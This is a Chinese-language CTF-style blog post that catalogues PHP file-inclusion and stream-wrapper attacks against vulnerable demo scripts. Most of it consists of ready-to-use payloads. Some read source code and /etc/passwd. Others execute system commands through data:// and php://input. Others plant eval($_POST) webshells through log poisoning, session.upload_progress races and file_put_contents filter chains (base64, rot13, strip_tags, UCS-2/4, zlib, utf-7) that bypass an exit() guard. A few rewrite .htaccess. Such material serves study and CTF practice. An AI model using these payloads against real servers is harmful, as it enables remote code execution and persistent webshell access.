文件包含+伪协议

前言

最近一直忙着考试和学校的各种实验,留的学安全的时间比较少,只能零碎时间来总结一下

之前护网杯的一道Web题涉及到了这一块,一直想抽时间总结了解一下,一直鸽到现在了。

废话不多说,这次主要是对文件包含 以及相关读写函数的一些利用总结,也对相关姿势进行一下梳理。

如果文档涉及到知识性的错误,欢迎与我来讨论

联系方式 512615513@qq.com

前置知识

你需要了解的:

  • PHP相关函数

    • include
    • file_get_content
    • file_put_content
    • ……等等
    • 附图:

    BK_7E701ZG321YVC7J9MACP.png

  • PHP伪协议

    • php://filter
    • data://
    • file://

    ​ 等等

    https://www.freebuf.com/column/148886.html 对伪协议的一个讲解文章。

    适用环境附图:

    123.png

本地环境测试

在阿清出的一道反序列化的题目中,使用伪协议发现了问题,发现打不通,然后本地测试了一下

1
2
3
4
5
6
<?php

highlight_file(__FILE__);
$ceshi=$_GET['ceshi'];
include($ceshi);
?>

配合伪协议php://filter,payload为:http://127.0.0.1/hello.php?ceshi=php://filter/read=convert.base64-encode/resource=flag.php 可以读到base64编码后的flag

如果换成 $_post['ceshi'] 呢,答案是一样的。

改一下源代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$ceshi=$_GET['ceshi'];
echo file_get_contents($ceshi);
?>

同样我们配合 php://filter 伪协议,payload为:http://127.0.0.1/hello.php?ceshi=php://filter/read=convert.base64-encode/resource=flag.php 可以读到base64编码后的flag,换成POST传参形式亦然。

然后我们再来尝试一下data协议 (这里测试的时候注意更改一下 php.ini 的配置,默认allow_url_include 是 off)

1
2
3
4
5
<?php
highlight_file(__FILE__);
$ceshi=$_GET['ceshi'];
include($ceshi);
?>

利用data:// 伪协议配合include函数可以执行包含文本内容:

ceshi=data:text/plain,helloworld

retry1.png

同样,我们利用data://伪协议配合include函数可以执行PHP语句:

ceshi=data:text/plain,<?php phpinfo();?>

retry2.png

如上图,这里本质上是使用data协议 包含了文本内容,文本内容为 <?php phpinfo();?> 然后被解析成PHP语句执行并返回结果。

我们尝试一下file_get_contents()函数是不是也支持呢?测试一下:

J_C4AEA2CN4TNWJ040_O__P.png

然后我们尝试一下是不是也能支持PHP命令执行。

retry3.png

显然,并不如我们想要的那样。

为什么会出现这种原因,本质上还是在于对函数功能的理解,这两个函数 include和file_get_contents函数都是支持data伪协议的,这里的data协议用来获取文本数据,然后被include包含在当前php文件中,自然而然的就被解析成php代码,而file_get_contents函数只是获取文本的内容,而不是包含,所以没有被解析,从而造成代码执行。

以上两个函数的本地测试只是想说明:

  • 存在一部分函数,它们是支持伪协议,并且配合伪协议可以达到一些意想不到的效果。
  • 同样是支持伪协议,但是不同函数的功能配合伪协议产生的效果也会很不一样。

接下来对一些函数配合伪协议达到的妙用进行一个小结。

include+伪协议

php://filter/read 协议读源码

姿势:

ceshi=php://filter/read=convert.base64-encode/resource=flag.php

ceshi=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php

这里的读取出来的编码可以有多种方式(后面看了利用编码写操作就发现多么骚了。),base64、utf-8、utf-16等等,有时候会被过滤,换着绕,另外本地测试发现用这个协议的时候,除了convert那里不能动,其他都可以换成大写小写混着,用这个trick可以绕过一些过滤。

data协议

可以利用data协议来执行PHP语句:

姿势:

data://text/plain,<?php system('ls');?> 这里加不加 //都可。

利用base64编码来绕过

data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ 等效于执行 system(‘ls’);

本地测试发现,除了data不能动,其他都可以混用大小写来达到绕过的目的。

include+php://input

1
2
3
4
5
<?php
highlight_file(__FILE__);
$ceshi=$_GET['ceshi'];
include($ceshi);
?>

仍然是这个代码,我们可以利用php://input 协议,利用如下:

?ceshi=php://input 然后 post 直接传数据 : <?php system('ls'); ,这里POST数据可控。

不过这里有要求,当编码格式为 enctype="multipart/form-data" php://input是无效的。

关于编码格式的解释,贴上一篇博客。

https://blog.csdn.net/lingxiyizhi_ljx/article/details/102514560

include+file协议

我们这里可以直接用file协议读取本地文件系统的文件,需要使用绝对路径。

?ceshi=file:///etc/passwd ,这里前提是文件可访问。

大小写这个似乎对PHP的版本有要求,不同的版本有的可以,有的不行。

include+可控文件

文件包含的本质是包含一些危险代码,或者是webshell,如果一个文件的内容可控,我们包含之,就可以getshell

包含日志文件

我们在UA头那里包含我们的一句话木马,然后包含日志文件,以nginx为例,日志路径为 /var/log/nginx/access.log ,apache服务器下日志路径稍微有所不同(/var/log/apache2/access.log)

retry4.png

传过去,然后蚁剑连接,连接路径为 : https://127.0.0.1/ceshi.php?file=/var/log/nginx/access.log

利用session.upload_progress

这个思路听说早就有了,但是上上周才接触到,还是学的太少了。

有一篇文章对 session.upload_progress讲的挺好,这里贴上链接:https://www.freebuf.com/news/202819.html)

简单来说就是上传一个 PHP_SESSION_UPLOAD_PROGRESS 文件,文件内容可以写上我们的shell。然后包含 /tmp/sess_xxx,这里xxx是可控的。然后在利用条件竞争(因为会被删除掉),这里可以直接抓包,利用 intruder模块来进行条件竞争。

附上一个师傅的上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

抓包图:(用的师傅的一张。

W13K__CM_MV_5V8F_29_VX8.png

有时候打不出来,可能是条件竞争没有成功,还没包含就被删掉了,可以考虑线程开大一点。

小结

include + 伪协议来 getshell ,不局限于这两个文件,只要:

  • 文件内容可控
  • 文件可以被访问(也就是可以被包含)

就可以成功getshell。

file_get_contents + 伪协议

前面的那个本地测试的demo,对 php://filter和data://text 做了说明,其实 file_get_contents还可以结合 php://input

demo:

1
2
3
4
5
6
7
8
9
10
11
12

$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

这里其他不看,单纯来看 (file_get_contents($user,'r')==="welcome to the bugkuctf") 直接传 $user=”welcome xxx” 肯定是不现实的,因为这里是以文件的形式打开,所以我们这里可以尝试 ?user=php://input 然后post数据 welcome to the bugkuctf 即可,post的内容即会被识别为文件内容。

file_put_content+伪协议

写在前面

file_put_contents 结合伪协议来写马,有着很多很骚的操作,其本质也是大同小异,就是利用过滤器编码来做一些操作。关于file_put_contents结合伪协议的考察,之前也遇到过,一直没有做个总结,现总结如下:

demo1

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

利用base64

这个之前在P牛的文章里面有提到过。原文章链接:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

base64是每4个字符进行编码,这里的 php exit 一共 7个字符,我们需要手动添上一个字符,剩下的就是我们可控代码了。

?filename=php://filter/write/convert.base64-decode/resource=1.php&content=XPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs= (这里的X是手动添加为了和前面凑8个

111.png

利用rot13

一个在线rot13编码解码的网站:

http://www.mxcz.net/tools/rot13.aspx

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG['pzq']);

112.png

可以发现成功写入shell,但是有个局限,如果开启了php短标签,这个就无效了。就会报错。

利用string.strip_tags结合.htaccess

这个可以过滤掉PHP HTML标签 <?php ?> 中内容是可以直接吃完的。

如果是Apache服务器,我们可以配合.htaccess文件来包含文件:

filename=php://filter/write=string.strip_tags/resource=.htaccess&content=>php_value%20auto_prepend_file%20D:\phpStudy\PHPTutorial\WWW\flag.php

可以看到成功写入:

113.png

然后访问:

115.png

该方法适用:

  • PHP5版本可以,PHP7不行,7.3版本已废除这个标签
  • apache环境
  • 文件名以及路径已知

过滤器编码组合

顾名思义,就是利用过滤器的嵌套,来实现我们的目的。

还是针对demo1的代码进行测试:

我们传入 ?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=4.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

1.png

可以看到成功写入。

不过因为 string.strip_tags的原因,这个方法在PHP7版本还是会有局限性,但是在PHP5环境下是适用的。

另一种方式,针对PHP7环境下:

filename=php://filter/write=zlib.deflate|string.tolower|zlib.inflate/resource=5.php&content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=5.php

压缩、转小写、解压,消去死亡exit,成功带入我们的 webshell

2.png

再来看看demo2 ~

demo2

1
2
3
4
5
<?php
highlight_file(__FILE__);
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

这个相较于demo1区别是,同一变量。

利用base64

一开始还是想到使用base64编码:

?content=php://filter/write/convert.base64-decode/resource=1.phpPD9waHAgcGhwaW5mbygpOz8+ 拼接后内容就是

<?php exit();php://filter/write/convert.base64-decode/resource=1.phpPD9waHAgcGhwaW5mbygpOz8+ 但是没有成功,因为’=’在base64编码中代表结束,所以等号后面还接上字母,会报错,转码不出来。

所以这里可以结合 string.strip_tags 来去掉等号:

?content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php

在windows下,这种文件名的存在是很怪异的,但是在linux下测试是可行的:

3.png

当然这个方式还是针对于PHP5

?content=php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=7.php

这里我们传过去可以看到:

4.png

访问 7.php文件,可以看到 phpinfo文件,同理我们可以构造shell

利用rot13

这里我们依然可以利用rot13,?content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=8.php

1233.png

可以发现,用rot13成功写入,不过仍然存在短标签的问题。

利用usc-2

通过usc-2编码,两位一反转。

?content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp%20pe@av(l_$OPTSs[m1lp]e;)>?/resource=9.php

12.png

可以看到成功写入,并且将前面的死亡代码糅杂消失。

利用usc-4

和usc-2原理基本一致,不过这里是四位一反转。

?content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=10.php

utf-8、utf-7转换

测试发现:

13.png

等号经过utf-7编码后会变成 +AD0- ,这样就可以消除等号的影响。并且:

14.png

纯字符经过 utf-7 编码 ,和原来不会有太大区别,所以可以结合 utf7和base64解码来写马

?content=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=10.php

本地可以看到已经成功写入:

123.png

demo3

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,$content . "\nxxxxxx");
?>

其实可以直接写 ?content=<?php phpinfo();?> 但其实题目一般都会有过滤,可能是过滤掉 起始符号 <? ,这个时候我们可以利用 .htaccess

但是 .htaccess 文件,对内容要求很严格,多余冗杂的代码会导致文件失效和错误。所以我们考虑注释符。

s1mple师傅的payload:

?filename=.htaccess&content=php_value%20auto_prepend_file%20D:\phpStudy\PHPTutorial\WWW\flag.php%0a%23\

成功写入:

123.png

这里我们以文本形式打开的时候,可以看到换行仍然进行了,xxxx到了第三行,但是 .htaccess在实际解析生效的时候 \n会被注释掉,然后会在同一排,所以成功包含。

参考链接

https://xz.aliyun.com/t/8163#toc-2